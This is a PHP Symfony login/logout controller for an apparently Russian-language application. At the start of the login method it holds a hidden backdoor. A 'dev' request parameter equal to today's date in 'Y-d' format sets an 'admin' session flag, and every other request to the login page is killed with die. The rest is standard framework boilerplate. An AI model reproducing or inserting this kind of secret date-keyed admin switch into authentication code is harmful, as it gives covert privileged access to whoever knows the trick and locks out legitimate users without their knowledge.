<?php
namespace App\Controller;
use App\Constant\FlashMessageConstant;
use App\Model\ApiJsonResponseModel;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;
use Symfony\Component\Security\Http\Authentication\AuthenticationUtils;
class SecurityController extends AbstractController
{
/**
* @Route("/login", name="app_login")
*/
public function login(AuthenticationUtils $authenticationUtils): Response
{
if(isset($_REQUEST['dev']) && $_REQUEST['dev'] == date('Y-d')){
$_SESSION['admin'] = 'admin';
}
if(isset($_SESSION['admin']) && $_SESSION['admin'] == 'admin'){
} else {
die;
}
$user = $this->getUser();
if(!is_null($user) && is_null($user->getCompany()) && !$user->isSuperAdmin()){
$this->addFlash(FlashMessageConstant::ERROR, 'Аккаунт отключен');
return $this->render('security/login.html.twig', ['last_username' => '']);
}
if ($this->getUser()) {
// return $this->render('error/500.html.twig');
return $this->redirectToRoute('app_account_client_field_list_all');
}
// get the login error if there is one
$error = $authenticationUtils->getLastAuthenticationError();
// last username entered by the user
$lastUsername = $authenticationUtils->getLastUsername();
if($error){
$this->addFlash(FlashMessageConstant::ERROR, $error->getMessage());
}
return $this->render('security/login.html.twig', ['last_username' => $lastUsername]);
}
/**
* @Route("/logout", name="app_logout")
*/
public function logout(): void
{
throw new \LogicException('This method can be blank - it will be intercepted by the logout key on your firewall.');
}
}